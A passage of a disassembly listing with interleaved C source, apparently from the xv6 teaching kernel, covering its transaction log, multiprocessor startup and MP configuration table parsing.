memmove(to->data, from->data, BSIZE);
80102795: 8d 50 5c lea 0x5c(%eax),%edx
80102798: 8d 43 5c lea 0x5c(%ebx),%eax
8010279b: 83 c4 0c add $0xc,%esp
8010279e: 68 00 02 00 00 push $0x200
801027a3: 52 push %edx
801027a4: 50 push %eax
801027a5: e8 a3 18 00 00 call 8010404d <memmove>
bwrite(to); // write the log
801027aa: 89 1c 24 mov %ebx,(%esp)
801027ad: e8 f0 d9 ff ff call 801001a2 <bwrite>
brelse(from);
801027b2: 89 3c 24 mov %edi,(%esp)
801027b5: e8 27 da ff ff call 801001e1 <brelse>
brelse(to);
801027ba: 89 1c 24 mov %ebx,(%esp)
801027bd: e8 1f da ff ff call 801001e1 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
801027c2: 83 c6 01 add $0x1,%esi
801027c5: 83 c4 10 add $0x10,%esp
801027c8: eb 90 jmp 8010275a <write_log+0xe>
}
}
801027ca: 8d 65 f4 lea -0xc(%ebp),%esp
801027cd: 5b pop %ebx
801027ce: 5e pop %esi
801027cf: 5f pop %edi
801027d0: 5d pop %ebp
801027d1: c3 ret
801027d2 <commit>:
static void
commit()
{
if (log.lh.n > 0) {
801027d2: 83 3d c8 26 11 80 00 cmpl $0x0,0x801126c8
801027d9: 7f 01 jg 801027dc <commit+0xa>
801027db: c3 ret
{
801027dc: 55 push %ebp
801027dd: 89 e5 mov %esp,%ebp
801027df: 83 ec 08 sub $0x8,%esp
write_log(); // Write modified blocks from cache to log
801027e2: e8 65 ff ff ff call 8010274c <write_log>
write_head(); // Write header to disk -- the real commit
801027e7: e8 e7 fe ff ff call 801026d3 <write_head>
install_trans(); // Now install writes to home locations
801027ec: e8 5c fe ff ff call 8010264d <install_trans>
log.lh.n = 0;
801027f1: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
801027f8: 00 00 00
write_head(); // Erase the transaction from the log
801027fb: e8 d3 fe ff ff call 801026d3 <write_head>
}
}
80102800: c9 leave
80102801: c3 ret
80102802 <initlog>:
{
80102802: f3 0f 1e fb endbr32
80102806: 55 push %ebp
80102807: 89 e5 mov %esp,%ebp
80102809: 53 push %ebx
8010280a: 83 ec 2c sub $0x2c,%esp
8010280d: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&log.lock, "log");
80102810: 68 a0 6d 10 80 push $0x80106da0
80102815: 68 80 26 11 80 push $0x80112680
8010281a: e8 aa 15 00 00 call 80103dc9 <initlock>
readsb(dev, &sb);
8010281f: 83 c4 08 add $0x8,%esp
80102822: 8d 45 dc lea -0x24(%ebp),%eax
80102825: 50 push %eax
80102826: 53 push %ebx
80102827: e8 c1 ea ff ff call 801012ed <readsb>
log.start = sb.logstart;
8010282c: 8b 45 ec mov -0x14(%ebp),%eax
8010282f: a3 b4 26 11 80 mov %eax,0x801126b4
log.size = sb.nlog;
80102834: 8b 45 e8 mov -0x18(%ebp),%eax
80102837: a3 b8 26 11 80 mov %eax,0x801126b8
log.dev = dev;
8010283c: 89 1d c4 26 11 80 mov %ebx,0x801126c4
recover_from_log();
80102842: e8 e4 fe ff ff call 8010272b <recover_from_log>
}
80102847: 83 c4 10 add $0x10,%esp
8010284a: 8b 5d fc mov -0x4(%ebp),%ebx
8010284d: c9 leave
8010284e: c3 ret
8010284f <begin_op>:
{
8010284f: f3 0f 1e fb endbr32
80102853: 55 push %ebp
80102854: 89 e5 mov %esp,%ebp
80102856: 83 ec 14 sub $0x14,%esp
acquire(&log.lock);
80102859: 68 80 26 11 80 push $0x80112680
8010285e: e8 b6 16 00 00 call 80103f19 <acquire>
80102863: 83 c4 10 add $0x10,%esp
80102866: eb 15 jmp 8010287d <begin_op+0x2e>
sleep(&log, &log.lock);
80102868: 83 ec 08 sub $0x8,%esp
8010286b: 68 80 26 11 80 push $0x80112680
80102870: 68 80 26 11 80 push $0x80112680
80102875: e8 87 10 00 00 call 80103901 <sleep>
8010287a: 83 c4 10 add $0x10,%esp
if(log.committing){
8010287d: 83 3d c0 26 11 80 00 cmpl $0x0,0x801126c0
80102884: 75 e2 jne 80102868 <begin_op+0x19>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102886: a1 bc 26 11 80 mov 0x801126bc,%eax
8010288b: 83 c0 01 add $0x1,%eax
8010288e: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102891: 8d 14 09 lea (%ecx,%ecx,1),%edx
80102894: 03 15 c8 26 11 80 add 0x801126c8,%edx
8010289a: 83 fa 1e cmp $0x1e,%edx
8010289d: 7e 17 jle 801028b6 <begin_op+0x67>
sleep(&log, &log.lock);
8010289f: 83 ec 08 sub $0x8,%esp
801028a2: 68 80 26 11 80 push $0x80112680
801028a7: 68 80 26 11 80 push $0x80112680
801028ac: e8 50 10 00 00 call 80103901 <sleep>
801028b1: 83 c4 10 add $0x10,%esp
801028b4: eb c7 jmp 8010287d <begin_op+0x2e>
log.outstanding += 1;
801028b6: a3 bc 26 11 80 mov %eax,0x801126bc
release(&log.lock);
801028bb: 83 ec 0c sub $0xc,%esp
801028be: 68 80 26 11 80 push $0x80112680
801028c3: e8 ba 16 00 00 call 80103f82 <release>
}
801028c8: 83 c4 10 add $0x10,%esp
801028cb: c9 leave
801028cc: c3 ret
801028cd <end_op>:
{
801028cd: f3 0f 1e fb endbr32
801028d1: 55 push %ebp
801028d2: 89 e5 mov %esp,%ebp
801028d4: 53 push %ebx
801028d5: 83 ec 10 sub $0x10,%esp
acquire(&log.lock);
801028d8: 68 80 26 11 80 push $0x80112680
801028dd: e8 37 16 00 00 call 80103f19 <acquire>
log.outstanding -= 1;
801028e2: a1 bc 26 11 80 mov 0x801126bc,%eax
801028e7: 83 e8 01 sub $0x1,%eax
801028ea: a3 bc 26 11 80 mov %eax,0x801126bc
if(log.committing)
801028ef: 8b 1d c0 26 11 80 mov 0x801126c0,%ebx
801028f5: 83 c4 10 add $0x10,%esp
801028f8: 85 db test %ebx,%ebx
801028fa: 75 2c jne 80102928 <end_op+0x5b>
if(log.outstanding == 0){
801028fc: 85 c0 test %eax,%eax
801028fe: 75 35 jne 80102935 <end_op+0x68>
log.committing = 1;
80102900: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0
80102907: 00 00 00
do_commit = 1;
8010290a: bb 01 00 00 00 mov $0x1,%ebx
release(&log.lock);
8010290f: 83 ec 0c sub $0xc,%esp
80102912: 68 80 26 11 80 push $0x80112680
80102917: e8 66 16 00 00 call 80103f82 <release>
if(do_commit){
8010291c: 83 c4 10 add $0x10,%esp
8010291f: 85 db test %ebx,%ebx
80102921: 75 24 jne 80102947 <end_op+0x7a>
}
80102923: 8b 5d fc mov -0x4(%ebp),%ebx
80102926: c9 leave
80102927: c3 ret
panic("log.committing");
80102928: 83 ec 0c sub $0xc,%esp
8010292b: 68 a4 6d 10 80 push $0x80106da4
80102930: e8 27 da ff ff call 8010035c <panic>
wakeup(&log);
80102935: 83 ec 0c sub $0xc,%esp
80102938: 68 80 26 11 80 push $0x80112680
8010293d: e8 11 12 00 00 call 80103b53 <wakeup>
80102942: 83 c4 10 add $0x10,%esp
80102945: eb c8 jmp 8010290f <end_op+0x42>
commit();
80102947: e8 86 fe ff ff call 801027d2 <commit>
acquire(&log.lock);
8010294c: 83 ec 0c sub $0xc,%esp
8010294f: 68 80 26 11 80 push $0x80112680
80102954: e8 c0 15 00 00 call 80103f19 <acquire>
log.committing = 0;
80102959: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0
80102960: 00 00 00
wakeup(&log);
80102963: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
8010296a: e8 e4 11 00 00 call 80103b53 <wakeup>
release(&log.lock);
8010296f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102976: e8 07 16 00 00 call 80103f82 <release>
8010297b: 83 c4 10 add $0x10,%esp
}
8010297e: eb a3 jmp 80102923 <end_op+0x56>
80102980 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102980: f3 0f 1e fb endbr32
80102984: 55 push %ebp
80102985: 89 e5 mov %esp,%ebp
80102987: 53 push %ebx
80102988: 83 ec 04 sub $0x4,%esp
8010298b: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
8010298e: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102994: 83 fa 1d cmp $0x1d,%edx
80102997: 7f 45 jg 801029de <log_write+0x5e>
80102999: a1 b8 26 11 80 mov 0x801126b8,%eax
8010299e: 83 e8 01 sub $0x1,%eax
801029a1: 39 c2 cmp %eax,%edx
801029a3: 7d 39 jge 801029de <log_write+0x5e>
panic("too big a transaction");
if (log.outstanding < 1)
801029a5: 83 3d bc 26 11 80 00 cmpl $0x0,0x801126bc
801029ac: 7e 3d jle 801029eb <log_write+0x6b>
panic("log_write outside of trans");
acquire(&log.lock);
801029ae: 83 ec 0c sub $0xc,%esp
801029b1: 68 80 26 11 80 push $0x80112680
801029b6: e8 5e 15 00 00 call 80103f19 <acquire>
for (i = 0; i < log.lh.n; i++) {
801029bb: 83 c4 10 add $0x10,%esp
801029be: b8 00 00 00 00 mov $0x0,%eax
801029c3: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
801029c9: 39 c2 cmp %eax,%edx
801029cb: 7e 2b jle 801029f8 <log_write+0x78>
if (log.lh.block[i] == b->blockno) // log absorbtion
801029cd: 8b 4b 08 mov 0x8(%ebx),%ecx
801029d0: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4)
801029d7: 74 1f je 801029f8 <log_write+0x78>
for (i = 0; i < log.lh.n; i++) {
801029d9: 83 c0 01 add $0x1,%eax
801029dc: eb e5 jmp 801029c3 <log_write+0x43>
panic("too big a transaction");
801029de: 83 ec 0c sub $0xc,%esp
801029e1: 68 b3 6d 10 80 push $0x80106db3
801029e6: e8 71 d9 ff ff call 8010035c <panic>
panic("log_write outside of trans");
801029eb: 83 ec 0c sub $0xc,%esp
801029ee: 68 c9 6d 10 80 push $0x80106dc9
801029f3: e8 64 d9 ff ff call 8010035c <panic>
break;
}
log.lh.block[i] = b->blockno;
801029f8: 8b 4b 08 mov 0x8(%ebx),%ecx
801029fb: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4)
if (i == log.lh.n)
80102a02: 39 c2 cmp %eax,%edx
80102a04: 74 18 je 80102a1e <log_write+0x9e>
log.lh.n++;
b->flags |= B_DIRTY; // prevent eviction
80102a06: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102a09: 83 ec 0c sub $0xc,%esp
80102a0c: 68 80 26 11 80 push $0x80112680
80102a11: e8 6c 15 00 00 call 80103f82 <release>
}
80102a16: 83 c4 10 add $0x10,%esp
80102a19: 8b 5d fc mov -0x4(%ebp),%ebx
80102a1c: c9 leave
80102a1d: c3 ret
log.lh.n++;
80102a1e: 83 c2 01 add $0x1,%edx
80102a21: 89 15 c8 26 11 80 mov %edx,0x801126c8
80102a27: eb dd jmp 80102a06 <log_write+0x86>
80102a29 <startothers>:
pde_t entrypgdir[]; // For entry.S
// Start the non-boot (AP) processors.
static void
startothers(void)
{
80102a29: 55 push %ebp
80102a2a: 89 e5 mov %esp,%ebp
80102a2c: 53 push %ebx
80102a2d: 83 ec 08 sub $0x8,%esp
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102a30: 68 8a 00 00 00 push $0x8a
80102a35: 68 8c a4 10 80 push $0x8010a48c
80102a3a: 68 00 70 00 80 push $0x80007000
80102a3f: e8 09 16 00 00 call 8010404d <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102a44: 83 c4 10 add $0x10,%esp
80102a47: bb 80 27 11 80 mov $0x80112780,%ebx
80102a4c: eb 47 jmp 80102a95 <startothers+0x6c>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102a4e: e8 ff f6 ff ff call 80102152 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
80102a53: 05 00 10 00 00 add $0x1000,%eax
80102a58: a3 fc 6f 00 80 mov %eax,0x80006ffc
*(void(**)(void))(code-8) = mpenter;
80102a5d: c7 05 f8 6f 00 80 f7 movl $0x80102af7,0x80006ff8
80102a64: 2a 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102a67: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102a6e: 90 10 00
lapicstartap(c->apicid, V2P(code));
80102a71: 83 ec 08 sub $0x8,%esp
80102a74: 68 00 70 00 00 push $0x7000
80102a79: 0f b6 03 movzbl (%ebx),%eax
80102a7c: 50 push %eax
80102a7d: e8 db f9 ff ff call 8010245d <lapicstartap>
// wait for cpu to finish mpmain()
while(c->started == 0)
80102a82: 83 c4 10 add $0x10,%esp
80102a85: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80102a8b: 85 c0 test %eax,%eax
80102a8d: 74 f6 je 80102a85 <startothers+0x5c>
for(c = cpus; c < cpus+ncpu; c++){
80102a8f: 81 c3 b0 00 00 00 add $0xb0,%ebx
80102a95: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102a9c: 00 00 00
80102a9f: 05 80 27 11 80 add $0x80112780,%eax
80102aa4: 39 d8 cmp %ebx,%eax
80102aa6: 76 0b jbe 80102ab3 <startothers+0x8a>
if(c == mycpu()) // We've started already.
80102aa8: e8 99 07 00 00 call 80103246 <mycpu>
80102aad: 39 c3 cmp %eax,%ebx
80102aaf: 74 de je 80102a8f <startothers+0x66>
80102ab1: eb 9b jmp 80102a4e <startothers+0x25>
;
}
}
80102ab3: 8b 5d fc mov -0x4(%ebp),%ebx
80102ab6: c9 leave
80102ab7: c3 ret
80102ab8 <mpmain>:
{
80102ab8: 55 push %ebp
80102ab9: 89 e5 mov %esp,%ebp
80102abb: 53 push %ebx
80102abc: 83 ec 04 sub $0x4,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102abf: e8 e2 07 00 00 call 801032a6 <cpuid>
80102ac4: 89 c3 mov %eax,%ebx
80102ac6: e8 db 07 00 00 call 801032a6 <cpuid>
80102acb: 83 ec 04 sub $0x4,%esp
80102ace: 53 push %ebx
80102acf: 50 push %eax
80102ad0: 68 e4 6d 10 80 push $0x80106de4
80102ad5: e8 4f db ff ff call 80100629 <cprintf>
idtinit(); // load idt register
80102ada: e8 60 27 00 00 call 8010523f <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102adf: e8 62 07 00 00 call 80103246 <mycpu>
80102ae4: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102ae6: b8 01 00 00 00 mov $0x1,%eax
80102aeb: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102af2: e8 d5 0b 00 00 call 801036cc <scheduler>
80102af7 <mpenter>:
{
80102af7: f3 0f 1e fb endbr32
80102afb: 55 push %ebp
80102afc: 89 e5 mov %esp,%ebp
80102afe: 83 ec 08 sub $0x8,%esp
switchkvm();
80102b01: e8 59 37 00 00 call 8010625f <switchkvm>
seginit();
80102b06: e8 04 36 00 00 call 8010610f <seginit>
lapicinit();
80102b0b: e8 f9 f7 ff ff call 80102309 <lapicinit>
mpmain();
80102b10: e8 a3 ff ff ff call 80102ab8 <mpmain>
80102b15 <main>:
{
80102b15: f3 0f 1e fb endbr32
80102b19: 8d 4c 24 04 lea 0x4(%esp),%ecx
80102b1d: 83 e4 f0 and $0xfffffff0,%esp
80102b20: ff 71 fc pushl -0x4(%ecx)
80102b23: 55 push %ebp
80102b24: 89 e5 mov %esp,%ebp
80102b26: 51 push %ecx
80102b27: 83 ec 0c sub $0xc,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102b2a: 68 00 00 40 80 push $0x80400000
80102b2f: 68 a8 55 11 80 push $0x801155a8
80102b34: e8 bf f5 ff ff call 801020f8 <kinit1>
kvmalloc(); // kernel page table
80102b39: e8 c4 3b 00 00 call 80106702 <kvmalloc>
mpinit(); // detect other processors
80102b3e: e8 c1 01 00 00 call 80102d04 <mpinit>
lapicinit(); // interrupt controller
80102b43: e8 c1 f7 ff ff call 80102309 <lapicinit>
seginit(); // segment descriptors
80102b48: e8 c2 35 00 00 call 8010610f <seginit>
picinit(); // disable pic
80102b4d: e8 8c 02 00 00 call 80102dde <picinit>
ioapicinit(); // another interrupt controller
80102b52: e8 1c f4 ff ff call 80101f73 <ioapicinit>
consoleinit(); // console hardware
80102b57: e8 58 dd ff ff call 801008b4 <consoleinit>
uartinit(); // serial port
80102b5c: e8 96 29 00 00 call 801054f7 <uartinit>
pinit(); // process table
80102b61: e8 c2 06 00 00 call 80103228 <pinit>
tvinit(); // trap vectors
80102b66: e8 1f 26 00 00 call 8010518a <tvinit>
binit(); // buffer cache
80102b6b: e8 84 d5 ff ff call 801000f4 <binit>
fileinit(); // file table
80102b70: e8 c4 e0 ff ff call 80100c39 <fileinit>
ideinit(); // disk
80102b75: e8 fb f1 ff ff call 80101d75 <ideinit>
startothers(); // start other processors
80102b7a: e8 aa fe ff ff call 80102a29 <startothers>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102b7f: 83 c4 08 add $0x8,%esp
80102b82: 68 00 00 00 8e push $0x8e000000
80102b87: 68 00 00 40 80 push $0x80400000
80102b8c: e8 9d f5 ff ff call 8010212e <kinit2>
userinit(); // first user process
80102b91: e8 57 07 00 00 call 801032ed <userinit>
mpmain(); // finish this processor's setup
80102b96: e8 1d ff ff ff call 80102ab8 <mpmain>
80102b9b <sum>:
int ncpu;
uchar ioapicid;
static uchar
sum(uchar *addr, int len)
{
80102b9b: 55 push %ebp
80102b9c: 89 e5 mov %esp,%ebp
80102b9e: 56 push %esi
80102b9f: 53 push %ebx
80102ba0: 89 c6 mov %eax,%esi
int i, sum;
sum = 0;
80102ba2: b8 00 00 00 00 mov $0x0,%eax
for(i=0; i<len; i++)
80102ba7: b9 00 00 00 00 mov $0x0,%ecx
80102bac: 39 d1 cmp %edx,%ecx
80102bae: 7d 0b jge 80102bbb <sum+0x20>
sum += addr[i];
80102bb0: 0f b6 1c 0e movzbl (%esi,%ecx,1),%ebx
80102bb4: 01 d8 add %ebx,%eax
for(i=0; i<len; i++)
80102bb6: 83 c1 01 add $0x1,%ecx
80102bb9: eb f1 jmp 80102bac <sum+0x11>
return sum;
}
80102bbb: 5b pop %ebx
80102bbc: 5e pop %esi
80102bbd: 5d pop %ebp
80102bbe: c3 ret
80102bbf <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102bbf: 55 push %ebp
80102bc0: 89 e5 mov %esp,%ebp
80102bc2: 56 push %esi
80102bc3: 53 push %ebx
uchar *e, *p, *addr;
addr = P2V(a);
80102bc4: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
80102bca: 89 f3 mov %esi,%ebx
e = addr+len;
80102bcc: 01 d6 add %edx,%esi
for(p = addr; p < e; p += sizeof(struct mp))
80102bce: eb 03 jmp 80102bd3 <mpsearch1+0x14>
80102bd0: 83 c3 10 add $0x10,%ebx
80102bd3: 39 f3 cmp %esi,%ebx
80102bd5: 73 29 jae 80102c00 <mpsearch1+0x41>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102bd7: 83 ec 04 sub $0x4,%esp
80102bda: 6a 04 push $0x4
80102bdc: 68 f8 6d 10 80 push $0x80106df8
80102be1: 53 push %ebx
80102be2: e8 2d 14 00 00 call 80104014 <memcmp>
80102be7: 83 c4 10 add $0x10,%esp
80102bea: 85 c0 test %eax,%eax
80102bec: 75 e2 jne 80102bd0 <mpsearch1+0x11>
80102bee: ba 10 00 00 00 mov $0x10,%edx
80102bf3: 89 d8 mov %ebx,%eax
80102bf5: e8 a1 ff ff ff call 80102b9b <sum>
80102bfa: 84 c0 test %al,%al
80102bfc: 75 d2 jne 80102bd0 <mpsearch1+0x11>
80102bfe: eb 05 jmp 80102c05 <mpsearch1+0x46>
return (struct mp*)p;
return 0;
80102c00: bb 00 00 00 00 mov $0x0,%ebx
}
80102c05: 89 d8 mov %ebx,%eax
80102c07: 8d 65 f8 lea -0x8(%ebp),%esp
80102c0a: 5b pop %ebx
80102c0b: 5e pop %esi
80102c0c: 5d pop %ebp
80102c0d: c3 ret
80102c0e <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
80102c0e: 55 push %ebp
80102c0f: 89 e5 mov %esp,%ebp
80102c11: 83 ec 08 sub $0x8,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80102c14: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80102c1b: c1 e0 08 shl $0x8,%eax
80102c1e: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80102c25: 09 d0 or %edx,%eax
80102c27: c1 e0 04 shl $0x4,%eax
80102c2a: 74 1f je 80102c4b <mpsearch+0x3d>
if((mp = mpsearch1(p, 1024)))
80102c2c: ba 00 04 00 00 mov $0x400,%edx
80102c31: e8 89 ff ff ff call 80102bbf <mpsearch1>
80102c36: 85 c0 test %eax,%eax
80102c38: 75 0f jne 80102c49 <mpsearch+0x3b>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
80102c3a: ba 00 00 01 00 mov $0x10000,%edx
80102c3f: b8 00 00 0f 00 mov $0xf0000,%eax
80102c44: e8 76 ff ff ff call 80102bbf <mpsearch1>
}
80102c49: c9 leave
80102c4a: c3 ret
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80102c4b: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
80102c52: c1 e0 08 shl $0x8,%eax
80102c55: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80102c5c: 09 d0 or %edx,%eax
80102c5e: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80102c61: 2d 00 04 00 00 sub $0x400,%eax
80102c66: ba 00 04 00 00 mov $0x400,%edx
80102c6b: e8 4f ff ff ff call 80102bbf <mpsearch1>
80102c70: 85 c0 test %eax,%eax
80102c72: 75 d5 jne 80102c49 <mpsearch+0x3b>
80102c74: eb c4 jmp 80102c3a <mpsearch+0x2c>
80102c76 <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
80102c76: 55 push %ebp
80102c77: 89 e5 mov %esp,%ebp
80102c79: 57 push %edi
80102c7a: 56 push %esi
80102c7b: 53 push %ebx
80102c7c: 83 ec 1c sub $0x1c,%esp
80102c7f: 89 45 e4 mov %eax,-0x1c(%ebp)
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80102c82: e8 87 ff ff ff call 80102c0e <mpsearch>
80102c87: 89 c3 mov %eax,%ebx
80102c89: 85 c0 test %eax,%eax
80102c8b: 74 5a je 80102ce7 <mpconfig+0x71>
80102c8d: 8b 70 04 mov 0x4(%eax),%esi
80102c90: 85 f6 test %esi,%esi
80102c92: 74 57 je 80102ceb <mpconfig+0x75>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80102c94: 8d be 00 00 00 80 lea -0x80000000(%esi),%edi
if(memcmp(conf, "PCMP", 4) != 0)
80102c9a: 83 ec 04 sub $0x4,%esp
80102c9d: 6a 04 push $0x4
80102c9f: 68 fd 6d 10 80 push $0x80106dfd
80102ca4: 57 push %edi
80102ca5: e8 6a 13 00 00 call 80104014 <memcmp>
80102caa: 83 c4 10 add $0x10,%esp
80102cad: 85 c0 test %eax,%eax
80102caf: 75 3e jne 80102cef <mpconfig+0x79>
return 0;
if(conf->version != 1 && conf->version != 4)
80102cb1: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax
80102cb8: 3c 01 cmp $0x1,%al
80102cba: 0f 95 c2 setne %dl
80102cbd: 3c 04 cmp $0x4,%al
80102cbf: 0f 95 c0 setne %al
80102cc2: 84 c2 test %al,%dl
80102cc4: 75 30 jne 80102cf6 <mpconfig+0x80>
return 0;
if(sum((uchar*)conf, conf->length) != 0)
80102cc6: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx
80102ccd: 89 f8 mov %edi,%eax
80102ccf: e8 c7 fe ff ff call 80102b9b <sum>
80102cd4: 84 c0 test %al,%al
80102cd6: 75 25 jne 80102cfd <mpconfig+0x87>
return 0;
*pmp = mp;
80102cd8: 8b 45 e4 mov -0x1c(%ebp),%eax
80102cdb: 89 18 mov %ebx,(%eax)
return conf;
}
80102cdd: 89 f8 mov %edi,%eax
80102cdf: 8d 65 f4 lea -0xc(%ebp),%esp
80102ce2: 5b pop %ebx
80102ce3: 5e pop %esi
80102ce4: 5f pop %edi
80102ce5: 5d pop %ebp
80102ce6: c3 ret
return 0;
80102ce7: 89 c7 mov %eax,%edi
80102ce9: eb f2 jmp 80102cdd <mpconfig+0x67>
80102ceb: 89 f7 mov %esi,%edi
80102ced: eb ee jmp 80102cdd <mpconfig+0x67>
return 0;
80102cef: bf 00 00 00 00 mov $0x0,%edi
80102cf4: eb e7 jmp 80102cdd <mpconfig+0x67>
return 0;
80102cf6: bf 00 00 00 00 mov $0x0,%edi
80102cfb: eb e0 jmp 80102cdd <mpconfig+0x67>
return 0;
80102cfd: bf 00 00 00 00 mov $0x0,%edi
80102d02: eb d9 jmp 80102cdd <mpconfig+0x67>
80102d04 <mpinit>:
void
mpinit(void)
{
80102d04: f3 0f 1e fb endbr32
80102d08: 55 push %ebp
80102d09: 89 e5 mov %esp,%ebp
80102d0b: 57 push %edi
80102d0c: 56 push %esi
80102d0d: 53 push %ebx
80102d0e: 83 ec 1c sub $0x1c,%esp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
80102d11: 8d 45 e4 lea -0x1c(%ebp),%eax
80102d14: e8 5d ff ff ff call 80102c76 <mpconfig>
80102d19: 85 c0 test %eax,%eax
80102d1b: 74 19 je 80102d36 <mpinit+0x32>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
80102d1d: 8b 50 24 mov 0x24(%eax),%edx
80102d20: 89 15 7c 26 11 80 mov %edx,0x8011267c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80102d26: 8d 50 2c lea 0x2c(%eax),%edx
80102d29: 0f b7 48 04 movzwl 0x4(%eax),%ecx
80102d2d: 01 c1 add %eax,%ecx
ismp = 1;
80102d2f: bb 01 00 00 00 mov $0x1,%ebx
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80102d34: eb 20 jmp 80102d56 <mpinit+0x52>
panic("Expect to run on an SMP");
80102d36: 83 ec 0c sub $0xc,%esp
80102d39: 68 02 6e 10 80 push $0x80106e02
80102d3e: e8 19 d6 ff ff call 8010035c <panic>
switch(*p){
80102d43: bb 00 00 00 00 mov $0x0,%ebx
80102d48: eb 0c jmp 80102d56 <mpinit+0x52>
80102d4a: 83 e8 03 sub $0x3,%eax
80102d4d: 3c 01 cmp $0x1,%al
80102d4f: 76 1a jbe 80102d6b <mpinit+0x67>
80102d51: bb 00 00 00 00 mov $0x0,%ebx
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80102d56: 39 ca cmp %ecx,%edx
80102d58: 73 4d jae 80102da7 <mpinit+0xa3>
switch(*p){
80102d5a: 0f b6 02 movzbl (%edx),%eax
80102d5d: 3c 02 cmp $0x2,%al
80102d5f: 74 38 je 80102d99 <mpinit+0x95>
80102d61: 77 e7 ja 80102d4a <mpinit+0x46>
80102d63: 84 c0 test %al,%al
80102d65: 74 09 je 80102d70 <mpinit+0x6c>
80102d67: 3c 01 cmp $0x1,%al
80102d69: 75 d8 jne 80102d43 <mpinit+0x3f>
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80102d6b: 83 c2 08 add $0x8,%edx
continue;
80102d6e: eb e6 jmp 80102d56 <mpinit+0x52>
if(ncpu < NCPU) {
80102d70: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
80102d76: 83 fe 07 cmp $0x7,%esi
80102d79: 7f 19 jg 80102d94 <mpinit+0x90>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80102d7b: 0f b6 42 01 movzbl 0x1(%edx),%eax
80102d7f: 69 fe b0 00 00 00 imul $0xb0,%esi,%edi
80102d85: 88 87 80 27 11 80 mov %al,-0x7feed880(%edi)
ncpu++;
80102d8b: 83 c6 01 add $0x1,%esi
80102d8e: 89 35 00 2d 11 80 mov %esi,0x80112d00
p += sizeof(struct mpproc);
80102d94: 83 c2 14 add $0x14,%edx
continue;
80102d97: eb bd jmp 80102d56 <mpinit+0x52>
ioapicid = ioapic->apicno;
80102d99: 0f b6 42 01 movzbl 0x1(%edx),%eax
80102d9d: a2 60 27 11 80 mov %al,0x80112760
p += sizeof(struct mpioapic);
